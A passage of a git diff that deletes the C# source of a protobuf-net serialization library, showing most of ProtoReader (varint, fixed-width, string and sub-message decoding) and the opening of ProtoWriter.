checked - { - return (sbyte) ReadInt32(); - } - } - - /// - /// Reads a signed 32-bit integer from the stream; supported wire-types: Variant, Fixed32, Fixed64, SignedVariant - /// - public int ReadInt32() - { - switch (wireType) - { - case WireType.Variant: - return (int) ReadUInt32Variant(true); - case WireType.Fixed32: - if (available < 4) Ensure(4, true); - position += 4; - available -= 4; - return ((int) ioBuffer[ioIndex++]) - | (((int) ioBuffer[ioIndex++]) << 8) - | (((int) ioBuffer[ioIndex++]) << 16) - | (((int) ioBuffer[ioIndex++]) << 24); - case WireType.Fixed64: - long l = ReadInt64(); - checked - { - return (int) l; - } - case WireType.SignedVariant: - return Zag(ReadUInt32Variant(true)); - default: - throw CreateWireTypeException(); - } - } - - private const long Int64Msb = ((long) 1) << 63; - private const int Int32Msb = ((int) 1) << 31; - - private static int Zag(uint ziggedValue) - { - int value = (int) ziggedValue; - return (-(value & 0x01)) ^ ((value >> 1) & ~ProtoReader.Int32Msb); - } - - private static long Zag(ulong ziggedValue) - { - long value = (long) ziggedValue; - return (-(value & 0x01L)) ^ ((value >> 1) & ~ProtoReader.Int64Msb); - } - - /// - /// Reads a signed 64-bit integer from the stream; supported wire-types: Variant, Fixed32, Fixed64, SignedVariant - /// - public long ReadInt64() - { - switch (wireType) - { - case WireType.Variant: - return (long) ReadUInt64Variant(); - case WireType.Fixed32: - return ReadInt32(); - case WireType.Fixed64: - if (available < 8) Ensure(8, true); - position += 8; - available -= 8; - - return ((long) ioBuffer[ioIndex++]) - | (((long) ioBuffer[ioIndex++]) << 8) - | (((long) ioBuffer[ioIndex++]) << 16) - | (((long) ioBuffer[ioIndex++]) << 24) - | (((long) ioBuffer[ioIndex++]) << 32) - | (((long) ioBuffer[ioIndex++]) << 40) - | (((long) ioBuffer[ioIndex++]) << 48) - | (((long) ioBuffer[ioIndex++]) << 56); - - case WireType.SignedVariant: - return Zag(ReadUInt64Variant()); - default: - throw CreateWireTypeException(); - } - } - - private int TryReadUInt64VariantWithoutMoving(out ulong value) - { - if (available < 10) Ensure(10, false); - if (available == 0) - { - value = 0; - return 0; - } - int readPos = ioIndex; - value = ioBuffer[readPos++]; - if ((value & 0x80) == 0) return 1; - value &= 0x7F; - if (available == 1) throw EoF(this); - - ulong chunk = ioBuffer[readPos++]; - value |= (chunk & 0x7F) << 7; - if ((chunk & 0x80) == 0) return 2; - if (available == 2) throw EoF(this); - - chunk = ioBuffer[readPos++]; - value |= (chunk & 0x7F) << 14; - if ((chunk & 0x80) == 0) return 3; - if (available == 3) throw EoF(this); - - chunk = ioBuffer[readPos++]; - value |= (chunk & 0x7F) << 21; - if ((chunk & 0x80) == 0) return 4; - if (available == 4) throw EoF(this); - - chunk = ioBuffer[readPos++]; - value |= (chunk & 0x7F) << 28; - if ((chunk & 0x80) == 0) return 5; - if (available == 5) throw EoF(this); - - chunk = ioBuffer[readPos++]; - value |= (chunk & 0x7F) << 35; - if ((chunk & 0x80) == 0) return 6; - if (available == 6) throw EoF(this); - - chunk = ioBuffer[readPos++]; - value |= (chunk & 0x7F) << 42; - if ((chunk & 0x80) == 0) return 7; - if (available == 7) throw EoF(this); - - - chunk = ioBuffer[readPos++]; - value |= (chunk & 0x7F) << 49; - if ((chunk & 0x80) == 0) return 8; - if (available == 8) throw EoF(this); - - chunk = ioBuffer[readPos++]; - value |= (chunk & 0x7F) << 56; - if ((chunk & 0x80) == 0) return 9; - if (available == 9) throw EoF(this); - - chunk = ioBuffer[readPos]; - value |= chunk << 63; // can only use 1 bit from this chunk - - if ((chunk & ~(ulong) 0x01) != 0) throw AddErrorData(new OverflowException(), this); - return 10; - } - - private ulong ReadUInt64Variant() - { - ulong value; - int read = TryReadUInt64VariantWithoutMoving(out value); - if (read > 0) - { - ioIndex += read; - available -= read; - position += read; - return value; - } - throw EoF(this); - } - -#if NO_GENERICS - private System.Collections.Hashtable stringInterner; - private string Intern(string value) - { - if (value == null) return null; - if (value.Length == 0) return ""; - if (stringInterner == null) - { - stringInterner = new System.Collections.Hashtable(); - stringInterner.Add(value, value); - } - else if (stringInterner.ContainsKey(value)) - { - value = (string)stringInterner[value]; - } - else - { - stringInterner.Add(value, value); - } - return value; - } -#else - private System.Collections.Generic.Dictionary stringInterner; - - private string Intern(string value) - { - if (value == null) return null; - if (value.Length == 0) return ""; - string found; - if (stringInterner == null) - { - stringInterner = new System.Collections.Generic.Dictionary(); - stringInterner.Add(value, value); - } - else if (stringInterner.TryGetValue(value, out found)) - { - value = found; - } - else - { - stringInterner.Add(value, value); - } - return value; - } -#endif - - private static readonly UTF8Encoding encoding = new UTF8Encoding(); - - /// - /// Reads a string from the stream (using UTF8); supported wire-types: String - /// - public string ReadString() - { - if (wireType == WireType.String) - { - int bytes = (int) ReadUInt32Variant(false); - if (bytes == 0) return ""; - if (available < bytes) Ensure(bytes, true); -#if MF - byte[] tmp; - if(ioIndex == 0 && bytes == ioBuffer.Length) { - // unlikely, but... - tmp = ioBuffer; - } else { - tmp = new byte[bytes]; - Helpers.BlockCopy(ioBuffer, ioIndex, tmp, 0, bytes); - } - string s = new string(encoding.GetChars(tmp)); -#else - string s = encoding.GetString(ioBuffer, ioIndex, bytes); -#endif - if (internStrings) - { - s = Intern(s); - } - available -= bytes; - position += bytes; - ioIndex += bytes; - return s; - } - throw CreateWireTypeException(); - } - - /// - /// Throws an exception indication that the given value cannot be mapped to an enum. - /// - public void ThrowEnumException(System.Type type, int value) - { - string desc = type == null ? "" : type.FullName; - throw AddErrorData( - new ProtoException("No " + desc + " enum is mapped to the wire-value " + value.ToString()), this); - } - - private Exception CreateWireTypeException() - { - return - CreateException( - "Invalid wire-type; this usually means you have over-written a file without truncating or setting the length; see http://stackoverflow.com/q/2152978/23354"); - } - - private Exception CreateException(string message) - { - return AddErrorData(new ProtoException(message), this); - } - - /// - /// Reads a double-precision number from the stream; supported wire-types: Fixed32, Fixed64 - /// - public -#if !FEAT_SAFE - unsafe -#endif - double ReadDouble() - { - switch (wireType) - { - case WireType.Fixed32: - return ReadSingle(); - case WireType.Fixed64: - long value = ReadInt64(); -#if FEAT_SAFE - return BitConverter.ToDouble(BitConverter.GetBytes(value), 0); -#else - return *(double*) &value; -#endif - default: - throw CreateWireTypeException(); - } - } - - /// - /// Reads (merges) a sub-message from the stream, internally calling StartSubItem and EndSubItem, and (in between) - /// parsing the message in accordance with the model associated with the reader - /// - public static object ReadObject(object value, int key, ProtoReader reader) - { -#if FEAT_IKVM - throw new NotSupportedException(); -#else - return ReadTypedObject(value, key, reader, null); -#endif - } - -#if !FEAT_IKVM - internal static object ReadTypedObject(object value, int key, ProtoReader reader, Type type) - { - if (reader.model == null) - { - throw AddErrorData( - new InvalidOperationException("Cannot deserialize sub-objects unless a model is provided"), reader); - } - SubItemToken token = ProtoReader.StartSubItem(reader); - if (key >= 0) - { - value = reader.model.Deserialize(key, value, reader); - } - else if (type != null && - reader.model.TryDeserializeAuxiliaryType(reader, DataFormat.Default, Serializer.ListItemTag, type, - ref value, true, false, true, false)) - { - // ok - } - else - { - TypeModel.ThrowUnexpectedType(type); - } - ProtoReader.EndSubItem(token, reader); - return value; - } -#endif - - /// - /// Makes the end of consuming a nested message in the stream; the stream must be either at the correct EndGroup - /// marker, or all fields of the sub-message must have been consumed (in either case, this means ReadFieldHeader - /// should return zero) - /// - public static void EndSubItem(SubItemToken token, ProtoReader reader) - { - if (reader == null) throw new ArgumentNullException("reader"); - int value = token.value; - switch (reader.wireType) - { - case WireType.EndGroup: - if (value >= 0) throw AddErrorData(new ArgumentException("token"), reader); - if (-value != reader.fieldNumber) - throw reader.CreateException("Wrong group was ended"); // wrong group ended! - reader.wireType = WireType.None; // this releases ReadFieldHeader - reader.depth--; - break; - // case WireType.None: // TODO reinstate once reads reset the wire-type - default: - if (value < reader.position) throw reader.CreateException("Sub-message not read entirely"); - if (reader.blockEnd != reader.position && reader.blockEnd != int.MaxValue) - { - throw reader.CreateException("Sub-message not read correctly"); - } - reader.blockEnd = value; - reader.depth--; - break; - /*default: - throw reader.BorkedIt(); */ - } - } - - /// - /// Begins consuming a nested message in the stream; supported wire-types: StartGroup, String - /// - /// The token returned must be help and used when callining EndSubItem - public static SubItemToken StartSubItem(ProtoReader reader) - { - if (reader == null) throw new ArgumentNullException("reader"); - switch (reader.wireType) - { - case WireType.StartGroup: - reader.wireType = WireType.None; // to prevent glitches from double-calling - reader.depth++; - return new SubItemToken(-reader.fieldNumber); - case WireType.String: - int len = (int) reader.ReadUInt32Variant(false); - if (len < 0) throw AddErrorData(new InvalidOperationException(), reader); - int lastEnd = reader.blockEnd; - reader.blockEnd = reader.position + len; - reader.depth++; - return new SubItemToken(lastEnd); - default: - throw reader.CreateWireTypeException(); // throws - } - } - - /// - /// Reads a field header from the stream, setting the wire-type and retuning the field number. If no - /// more fields are available, then 0 is returned. This methods respects sub-messages. - /// - public int ReadFieldHeader() - { - // at the end of a group the caller must call EndSubItem to release the - // reader (which moves the status to Error, since ReadFieldHeader must - // then be called) - if (blockEnd <= position || wireType == WireType.EndGroup) - { - return 0; - } - uint tag; - if (TryReadUInt32Variant(out tag)) - { - wireType = (WireType) (tag & 7); - fieldNumber = (int) (tag >> 3); - if (fieldNumber < 1) - throw new ProtoException("Invalid field in source data: " + fieldNumber.ToString()); - } - else - { - wireType = WireType.None; - fieldNumber = 0; - } - if (wireType == ProtoBuf.WireType.EndGroup) - { - if (depth > 0) return 0; // spoof an end, but note we still set the field-number - throw new ProtoException( - "Unexpected end-group in source data; this usually means the source data is corrupt"); - } - return fieldNumber; - } - - /// - /// Looks ahead to see whether the next field in the stream is what we expect - /// (typically; what we've just finished reading - for example ot read successive list items) - /// - public bool TryReadFieldHeader(int field) - { - // check for virtual end of stream - if (blockEnd <= position || wireType == WireType.EndGroup) - { - return false; - } - uint tag; - int read = TryReadUInt32VariantWithoutMoving(false, out tag); - WireType tmpWireType; // need to catch this to exclude (early) any "end group" tokens - if (read > 0 && ((int) tag >> 3) == field - && (tmpWireType = (WireType) (tag & 7)) != WireType.EndGroup) - { - wireType = tmpWireType; - fieldNumber = field; - position += read; - ioIndex += read; - available -= read; - return true; - } - return false; - } - - /// - /// Get the TypeModel associated with this reader - /// - public TypeModel Model - { - get { return model; } - } - - /// - /// Compares the streams current wire-type to the hinted wire-type, updating the reader if necessary; for example, - /// a Variant may be updated to SignedVariant. If the hinted wire-type is unrelated then no change is made. - /// - public void Hint(WireType wireType) - { - if (this.wireType == wireType) - { - } // fine; everything as we expect - else if (((int) wireType & 7) == (int) this.wireType) - { - // the underling type is a match; we're customising it with an extension - this.wireType = wireType; - } - // note no error here; we're OK about using alternative data - } - - /// - /// Verifies that the stream's current wire-type is as expected, or a specialized sub-type (for example, - /// SignedVariant) - in which case the current wire-type is updated. Otherwise an exception is thrown. - /// - public void Assert(WireType wireType) - { - if (this.wireType == wireType) - { - } // fine; everything as we expect - else if (((int) wireType & 7) == (int) this.wireType) - { - // the underling type is a match; we're customising it with an extension - this.wireType = wireType; - } - else - { - // nope; that is *not* what we were expecting! - throw CreateWireTypeException(); - } - } - - /// - /// Discards the data for the current field. - /// - public void SkipField() - { - switch (wireType) - { - case WireType.Fixed32: - if (available < 4) Ensure(4, true); - available -= 4; - ioIndex += 4; - position += 4; - return; - case WireType.Fixed64: - if (available < 8) Ensure(8, true); - available -= 8; - ioIndex += 8; - position += 8; - return; - case WireType.String: - int len = (int) ReadUInt32Variant(false); - if (len <= available) - { - // just jump it! - available -= len; - ioIndex += len; - position += len; - return; - } - // everything remaining in the buffer is garbage - position += len; // assumes success, but if it fails we're screwed anyway - len -= available; // discount anything we've got to-hand - ioIndex = available = 0; // note that we have no data in the buffer - if (isFixedLength) - { - if (len > dataRemaining) throw EoF(this); - // else assume we're going to be OK - dataRemaining -= len; - } - ProtoReader.Seek(source, len, ioBuffer); - return; - case WireType.Variant: - case WireType.SignedVariant: - ReadUInt64Variant(); // and drop it - return; - case WireType.StartGroup: - int originalFieldNumber = this.fieldNumber; - depth++; // need to satisfy the sanity-checks in ReadFieldHeader - while (ReadFieldHeader() > 0) - { - SkipField(); - } - depth--; - if (wireType == WireType.EndGroup && fieldNumber == originalFieldNumber) - { - // we expect to exit in a similar state to how we entered - wireType = ProtoBuf.WireType.None; - return; - } - throw CreateWireTypeException(); - case WireType.None: // treat as explicit errorr - case WireType.EndGroup: // treat as explicit error - default: // treat as implicit error - throw CreateWireTypeException(); - } - } - - /// - /// Reads an unsigned 64-bit integer from the stream; supported wire-types: Variant, Fixed32, Fixed64 - /// - public ulong ReadUInt64() - { - switch (wireType) - { - case WireType.Variant: - return ReadUInt64Variant(); - case WireType.Fixed32: - return ReadUInt32(); - case WireType.Fixed64: - if (available < 8) Ensure(8, true); - position += 8; - available -= 8; - - return ((ulong) ioBuffer[ioIndex++]) - | (((ulong) ioBuffer[ioIndex++]) << 8) - | (((ulong) ioBuffer[ioIndex++]) << 16) - | (((ulong) ioBuffer[ioIndex++]) << 24) - | (((ulong) ioBuffer[ioIndex++]) << 32) - | (((ulong) ioBuffer[ioIndex++]) << 40) - | (((ulong) ioBuffer[ioIndex++]) << 48) - | (((ulong) ioBuffer[ioIndex++]) << 56); - default: - throw CreateWireTypeException(); - } - } - - /// - /// Reads a single-precision number from the stream; supported wire-types: Fixed32, Fixed64 - /// - public -#if !FEAT_SAFE - unsafe -#endif - float ReadSingle() - { - switch (wireType) - { - case WireType.Fixed32: - { - int value = ReadInt32(); -#if FEAT_SAFE - return BitConverter.ToSingle(BitConverter.GetBytes(value), 0); -#else - return *(float*) &value; -#endif - } - case WireType.Fixed64: - { - double value = ReadDouble(); - float f = (float) value; - if (Helpers.IsInfinity(f) - && !Helpers.IsInfinity(value)) - { - throw AddErrorData(new OverflowException(), this); - } - return f; - } - default: - throw CreateWireTypeException(); - } - } - - /// - /// Reads a boolean value from the stream; supported wire-types: Variant, Fixed32, Fixed64 - /// - /// - public bool ReadBoolean() - { - switch (ReadUInt32()) - { - case 0: - return false; - case 1: - return true; - default: - throw CreateException("Unexpected boolean value"); - } - } - - private static readonly byte[] EmptyBlob = new byte[0]; - - /// - /// Reads a byte-sequence from the stream, appending them to an existing byte-sequence (which can be null); supported wire-types: String - /// - public static byte[] AppendBytes(byte[] value, ProtoReader reader) - { - if (reader == null) throw new ArgumentNullException("reader"); - switch (reader.wireType) - { - case WireType.String: - int len = (int) reader.ReadUInt32Variant(false); - reader.wireType = WireType.None; - if (len == 0) return value == null ? EmptyBlob : value; - int offset; - if (value == null || value.Length == 0) - { - offset = 0; - value = new byte[len]; - } - else - { - offset = value.Length; - byte[] tmp = new byte[value.Length + len]; - Helpers.BlockCopy(value, 0, tmp, 0, value.Length); - value = tmp; - } - // value is now sized with the final length, and (if necessary) - // contains the old data up to "offset" - reader.position += len; // assume success - while (len > reader.available) - { - if (reader.available > 0) - { - // copy what we *do* have - Helpers.BlockCopy(reader.ioBuffer, reader.ioIndex, value, offset, reader.available); - len -= reader.available; - offset += reader.available; - reader.ioIndex = reader.available = 0; // we've drained the buffer - } - // now refill the buffer (without overflowing it) - int count = len > reader.ioBuffer.Length ? reader.ioBuffer.Length : len; - if (count > 0) reader.Ensure(count, true); - } - // at this point, we know that len <= available - if (len > 0) - { - // still need data, but we have enough buffered - Helpers.BlockCopy(reader.ioBuffer, reader.ioIndex, value, offset, len); - reader.ioIndex += len; - reader.available -= len; - } - return value; - default: - throw reader.CreateWireTypeException(); - } - } - - //static byte[] ReadBytes(Stream stream, int length) - //{ - // if (stream == null) throw new ArgumentNullException("stream"); - // if (length < 0) throw new ArgumentOutOfRangeException("length"); - // byte[] buffer = new byte[length]; - // int offset = 0, read; - // while (length > 0 && (read = stream.Read(buffer, offset, length)) > 0) - // { - // length -= read; - // } - // if (length > 0) throw EoF(null); - // return buffer; - //} - private static int ReadByteOrThrow(Stream source) - { - int val = source.ReadByte(); - if (val < 0) throw EoF(null); - return val; - } - - /// - /// Reads the length-prefix of a message from a stream without buffering additional data, allowing a fixed-length - /// reader to be created. - /// - public static int ReadLengthPrefix(Stream source, bool expectHeader, PrefixStyle style, out int fieldNumber) - { - int bytesRead; - return ReadLengthPrefix(source, expectHeader, style, out fieldNumber, out bytesRead); - } - - /// - /// Reads a little-endian encoded integer. An exception is thrown if the data is not all available. - /// - public static int DirectReadLittleEndianInt32(Stream source) - { - return ReadByteOrThrow(source) - | (ReadByteOrThrow(source) << 8) - | (ReadByteOrThrow(source) << 16) - | (ReadByteOrThrow(source) << 24); - } - - /// - /// Reads a big-endian encoded integer. An exception is thrown if the data is not all available. - /// - public static int DirectReadBigEndianInt32(Stream source) - { - return (ReadByteOrThrow(source) << 24) - | (ReadByteOrThrow(source) << 16) - | (ReadByteOrThrow(source) << 8) - | ReadByteOrThrow(source); - } - - /// - /// Reads a varint encoded integer. An exception is thrown if the data is not all available. - /// - public static int DirectReadVarintInt32(Stream source) - { - uint val; - int bytes = TryReadUInt32Variant(source, out val); - if (bytes <= 0) throw EoF(null); - return (int) val; - } - - /// - /// Reads a string (of a given lenth, in bytes) directly from the source into a pre-existing buffer. An exception is thrown if the data is not all available. - /// - public static void DirectReadBytes(Stream source, byte[] buffer, int offset, int count) - { - int read; - if (source == null) throw new ArgumentNullException("source"); - while (count > 0 && (read = source.Read(buffer, offset, count)) > 0) - { - count -= read; - offset += read; - } - if (count > 0) throw EoF(null); - } - - /// - /// Reads a given number of bytes directly from the source. An exception is thrown if the data is not all available. - /// - public static byte[] DirectReadBytes(Stream source, int count) - { - byte[] buffer = new byte[count]; - DirectReadBytes(source, buffer, 0, count); - return buffer; - } - - /// - /// Reads a string (of a given lenth, in bytes) directly from the source. An exception is thrown if the data is not all available. - /// - public static string DirectReadString(Stream source, int length) - { - byte[] buffer = new byte[length]; - DirectReadBytes(source, buffer, 0, length); - return Encoding.UTF8.GetString(buffer, 0, length); - } - - /// - /// Reads the length-prefix of a message from a stream without buffering additional data, allowing a fixed-length - /// reader to be created. - /// - public static int ReadLengthPrefix(Stream source, bool expectHeader, PrefixStyle style, out int fieldNumber, - out int bytesRead) - { - fieldNumber = 0; - switch (style) - { - case PrefixStyle.None: - bytesRead = 0; - return int.MaxValue; - case PrefixStyle.Base128: - uint val; - int tmpBytesRead; - bytesRead = 0; - if (expectHeader) - { - tmpBytesRead = ProtoReader.TryReadUInt32Variant(source, out val); - bytesRead += tmpBytesRead; - if (tmpBytesRead > 0) - { - if ((val & 7) != (uint) WireType.String) - { - // got a header, but it isn't a string - throw new InvalidOperationException(); - } - fieldNumber = (int) (val >> 3); - tmpBytesRead = ProtoReader.TryReadUInt32Variant(source, out val); - bytesRead += tmpBytesRead; - if (bytesRead == 0) - { - // got a header, but no length - throw EoF(null); - } - return (int) val; - } - else - { - // no header - bytesRead = 0; - return -1; - } - } - // check for a length - tmpBytesRead = ProtoReader.TryReadUInt32Variant(source, out val); - bytesRead += tmpBytesRead; - return bytesRead < 0 ? -1 : (int) val; - - case PrefixStyle.Fixed32: - { - int b = source.ReadByte(); - if (b < 0) - { - bytesRead = 0; - return -1; - } - bytesRead = 4; - return b - | (ReadByteOrThrow(source) << 8) - | (ReadByteOrThrow(source) << 16) - | (ReadByteOrThrow(source) << 24); - } - case PrefixStyle.Fixed32BigEndian: - { - int b = source.ReadByte(); - if (b < 0) - { - bytesRead = 0; - return -1; - } - bytesRead = 4; - return (b << 24) - | (ReadByteOrThrow(source) << 16) - | (ReadByteOrThrow(source) << 8) - | ReadByteOrThrow(source); - } - default: - throw new ArgumentOutOfRangeException("style"); - } - } - - /// The number of bytes consumed; 0 if no data available - private static int TryReadUInt32Variant(Stream source, out uint value) - { - value = 0; - int b = source.ReadByte(); - if (b < 0) - { - return 0; - } - value = (uint) b; - if ((value & 0x80) == 0) - { - return 1; - } - value &= 0x7F; - - b = source.ReadByte(); - if (b < 0) throw EoF(null); - value |= ((uint) b & 0x7F) << 7; - if ((b & 0x80) == 0) return 2; - - b = source.ReadByte(); - if (b < 0) throw EoF(null); - value |= ((uint) b & 0x7F) << 14; - if ((b & 0x80) == 0) return 3; - - b = source.ReadByte(); - if (b < 0) throw EoF(null); - value |= ((uint) b & 0x7F) << 21; - if ((b & 0x80) == 0) return 4; - - b = source.ReadByte(); - if (b < 0) throw EoF(null); - value |= (uint) b << 28; // can only use 4 bits from this chunk - if ((b & 0xF0) == 0) return 5; - - throw new OverflowException(); - } - - internal static void Seek(Stream source, int count, byte[] buffer) - { - if (source.CanSeek) - { - source.Seek(count, SeekOrigin.Current); - count = 0; - } - else if (buffer != null) - { - int bytesRead; - while (count > buffer.Length && (bytesRead = source.Read(buffer, 0, buffer.Length)) > 0) - { - count -= bytesRead; - } - while (count > 0 && (bytesRead = source.Read(buffer, 0, count)) > 0) - { - count -= bytesRead; - } - } - else // borrow a buffer - { - buffer = BufferPool.GetBuffer(); - try - { - int bytesRead; - while (count > buffer.Length && (bytesRead = source.Read(buffer, 0, buffer.Length)) > 0) - { - count -= bytesRead; - } - while (count > 0 && (bytesRead = source.Read(buffer, 0, count)) > 0) - { - count -= bytesRead; - } - } - finally - { - BufferPool.ReleaseBufferToPool(ref buffer); - } - } - if (count > 0) throw EoF(null); - } - - internal static Exception AddErrorData(Exception exception, ProtoReader source) - { -#if !CF && !FX11 && !PORTABLE - if (exception != null && source != null && !exception.Data.Contains("protoSource")) - { - exception.Data.Add("protoSource", string.Format("tag={0}; wire-type={1}; offset={2}; depth={3}", - source.fieldNumber, source.wireType, source.position, source.depth)); - } -#endif - return exception; - } - - private static Exception EoF(ProtoReader source) - { - return AddErrorData(new EndOfStreamException(), source); - } - - /// - /// Copies the current field into the instance as extension data - /// - public void AppendExtensionData(IExtensible instance) - { - if (instance == null) throw new ArgumentNullException("instance"); - IExtension extn = instance.GetExtensionObject(true); - bool commit = false; - // unusually we *don't* want "using" here; the "finally" does that, with - // the extension object being responsible for disposal etc - Stream dest = extn.BeginAppend(); - try - { - //TODO: replace this with stream-based, buffered raw copying - using (ProtoWriter writer = new ProtoWriter(dest, model, null)) - { - AppendExtensionField(writer); - writer.Close(); - } - commit = true; - } - finally - { - extn.EndAppend(dest, commit); - } - } - - private void AppendExtensionField(ProtoWriter writer) - { - //TODO: replace this with stream-based, buffered raw copying - ProtoWriter.WriteFieldHeader(fieldNumber, wireType, writer); - switch (wireType) - { - case WireType.Fixed32: - ProtoWriter.WriteInt32(ReadInt32(), writer); - return; - case WireType.Variant: - case WireType.SignedVariant: - case WireType.Fixed64: - ProtoWriter.WriteInt64(ReadInt64(), writer); - return; - case WireType.String: - ProtoWriter.WriteBytes(AppendBytes(null, this), writer); - return; - case WireType.StartGroup: - SubItemToken readerToken = StartSubItem(this), - writerToken = ProtoWriter.StartSubItem(null, writer); - while (ReadFieldHeader() > 0) - { - AppendExtensionField(writer); - } - EndSubItem(readerToken, this); - ProtoWriter.EndSubItem(writerToken, writer); - return; - case WireType.None: // treat as explicit errorr - case WireType.EndGroup: // treat as explicit error - default: // treat as implicit error - throw CreateWireTypeException(); - } - } - - /// - /// Indicates whether the reader still has data remaining in the current sub-item, - /// additionally setting the wire-type for the next field if there is more data. - /// This is used when decoding packed data. - /// - public static bool HasSubValue(ProtoBuf.WireType wireType, ProtoReader source) - { - if (source == null) throw new ArgumentNullException("source"); - // check for virtual end of stream - if (source.blockEnd <= source.position || wireType == WireType.EndGroup) - { - return false; - } - source.wireType = wireType; - return true; - } - - internal int GetTypeKey(ref Type type) - { - return model.GetKey(ref type); - } - - internal NetObjectCache NetCache - { - get { return netCache; } - } - - internal System.Type DeserializeType(string value) - { - return TypeModel.DeserializeType(model, value); - } - - internal void SetRootObject(object value) - { - netCache.SetKeyedObject(NetObjectCache.Root, value); - trapCount--; - } - - - /// - /// Utility method, not intended for public use; this helps maintain the root object is complex scenarios - /// - public static void NoteObject(object value, ProtoReader reader) - { - if (reader == null) throw new ArgumentNullException("reader"); - if (reader.trapCount != 0) - { - reader.netCache.RegisterTrappedObject(value); - reader.trapCount--; - } - } - - /// - /// Reads a Type from the stream, using the model's DynamicTypeFormatting if appropriate; supported wire-types: String - /// - public System.Type ReadType() - { - return TypeModel.DeserializeType(model, ReadString()); - } - - internal void TrapNextObject(int newObjectKey) - { - trapCount++; - netCache.SetKeyedObject(newObjectKey, null); // use null as a temp - } - - internal void CheckFullyConsumed() - { - if (isFixedLength) - { - if (dataRemaining != 0) throw new ProtoException("Incorrect number of bytes consumed"); - } - else - { - if (available != 0) - throw new ProtoException("Unconsumed data left in the buffer; this suggests corrupt input"); - } - } - - /// - /// Merge two objects using the details from the current reader; this is used to change the type - /// of objects when an inheritance relationship is discovered later than usual during deserilazation. - /// - public static object Merge(ProtoReader parent, object from, object to) - { - if (parent == null) throw new ArgumentNullException("parent"); - TypeModel model = parent.Model; - SerializationContext ctx = parent.Context; - if (model == null) - throw new InvalidOperationException("Types cannot be merged unless a type-model has been specified"); - using (MemoryStream ms = new MemoryStream()) - { - model.Serialize(ms, from, ctx); - ms.Position = 0; - return model.Deserialize(ms, to, null); - } - } - - #region RECYCLER - - internal static ProtoReader Create(Stream source, TypeModel model, SerializationContext context, int len) - { - ProtoReader reader = GetRecycled(); - if (reader == null) - { - return new ProtoReader(source, model, context, len); - } - Init(reader, source, model, context, len); - return reader; - } - -#if !PLAT_NO_THREADSTATIC - [ThreadStatic] private static ProtoReader lastReader; - - private static ProtoReader GetRecycled() - { - ProtoReader tmp = lastReader; - lastReader = null; - return tmp; - } - - internal static void Recycle(ProtoReader reader) - { - if (reader != null) - { - reader.Dispose(); - lastReader = reader; - } - } -#elif !PLAT_NO_INTERLOCKED - private static object lastReader; - private static ProtoReader GetRecycled() - { - return (ProtoReader)System.Threading.Interlocked.Exchange(ref lastReader, null); - } - internal static void Recycle(ProtoReader reader) - { - if(reader != null) - { - reader.Dispose(); - System.Threading.Interlocked.Exchange(ref lastReader, reader); - } - } -#else - private static readonly object recycleLock = new object(); - private static ProtoReader lastReader; - private static ProtoReader GetRecycled() - { - lock(recycleLock) - { - ProtoReader tmp = lastReader; - lastReader = null; - return tmp; - } - } - internal static void Recycle(ProtoReader reader) - { - if(reader != null) - { - reader.Dispose(); - lock(recycleLock) - { - lastReader = reader; - } - } - } -#endif - - #endregion - } -} \ No newline at end of file diff --git a/Server/Core/ProtoBuf/ProtoWriter.cs b/Server/Core/ProtoBuf/ProtoWriter.cs deleted file mode 100644 index 73deec0a..00000000 --- a/Server/Core/ProtoBuf/ProtoWriter.cs +++ /dev/null @@ -1,1046 +0,0 @@ -using System; -using System.IO; -using System.Text; -using ProtoBuf.Meta; - -#if MF -using OverflowException = System.ApplicationException; -#endif - -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -#endif - -namespace ProtoBuf -{ - /// - /// Represents an output stream for writing protobuf data. - /// - /// Why is the API backwards (static methods with writer arguments)? - /// See: http://marcgravell.blogspot.com/2010/03/last-will-be-first-and-first-will-be.html - /// - public sealed class ProtoWriter : IDisposable - { - private Stream dest; - private TypeModel model; - - /// - /// Write an encapsulated sub-object, using the supplied unique key (reprasenting a type). - /// - /// The object to write. - /// The key that uniquely identifies the type within the model. - /// The destination. - public static void WriteObject(object value, int key, ProtoWriter writer) - { -#if FEAT_IKVM - throw new NotSupportedException(); -#else - if (writer == null) throw new ArgumentNullException("writer"); - if (writer.model == null) - { - throw new InvalidOperationException("Cannot serialize sub-objects unless a model is provided"); - } - - SubItemToken token = StartSubItem(value, writer); - if (key >= 0) - { - writer.model.Serialize(key, value, writer); - } - else if (writer.model != null && - writer.model.TrySerializeAuxiliaryType(writer, value.GetType(), DataFormat.Default, - Serializer.ListItemTag, value, false)) - { - // all ok - } - else - { - TypeModel.ThrowUnexpectedType(value.GetType()); - } - EndSubItem(token, writer); -#endif - } - - /// - /// Write an encapsulated sub-object, using the supplied unique key (reprasenting a type) - but the - /// caller is asserting that this relationship is non-recursive; no recursion check will be - /// performed. - /// - /// The object to write. - /// The key that uniquely identifies the type within the model. - /// The destination. - public static void WriteRecursionSafeObject(object value, int key, ProtoWriter writer) - { - if (writer == null) throw new ArgumentNullException("writer"); - if (writer.model == null) - { - throw new InvalidOperationException("Cannot serialize sub-objects unless a model is provided"); - } - SubItemToken token = StartSubItem(null, writer); - writer.model.Serialize(key, value, writer); - EndSubItem(token, writer); - } - - internal static void WriteObject(object value, int key, ProtoWriter writer, PrefixStyle style, int fieldNumber) - { -#if FEAT_IKVM - throw new NotSupportedException(); -#else - if (writer.model == null) - { - throw new InvalidOperationException("Cannot serialize sub-objects unless a model is provided"); - } - if (writer.wireType != WireType.None) throw ProtoWriter.CreateException(writer); - - switch (style) - { - case PrefixStyle.Base128: - writer.wireType = WireType.String; - writer.fieldNumber = fieldNumber; - if (fieldNumber > 0) WriteHeaderCore(fieldNumber, WireType.String, writer); - break; - case PrefixStyle.Fixed32: - case PrefixStyle.Fixed32BigEndian: - writer.fieldNumber = 0; - writer.wireType = WireType.Fixed32; - break; - default: - throw new ArgumentOutOfRangeException("style"); - } - SubItemToken token = StartSubItem(value, writer, true); - if (key < 0) - { - if ( - !writer.model.TrySerializeAuxiliaryType(writer, value.GetType(), DataFormat.Default, - Serializer.ListItemTag, value, false)) - { - TypeModel.ThrowUnexpectedType(value.GetType()); - } - } - else - { - writer.model.Serialize(key, value, writer); - } - EndSubItem(token, writer, style); -#endif - } - - internal int GetTypeKey(ref Type type) - { - return model.GetKey(ref type); - } - - private readonly NetObjectCache netCache = new NetObjectCache(); - - internal NetObjectCache NetCache - { - get { return netCache; } - } - - private int fieldNumber, flushLock; - private WireType wireType; - - internal WireType WireType - { - get { return wireType; } - } - - /// - /// Writes a field-header, indicating the format of the next data we plan to write. - /// - public static void WriteFieldHeader(int fieldNumber, WireType wireType, ProtoWriter writer) - { - if (writer == null) 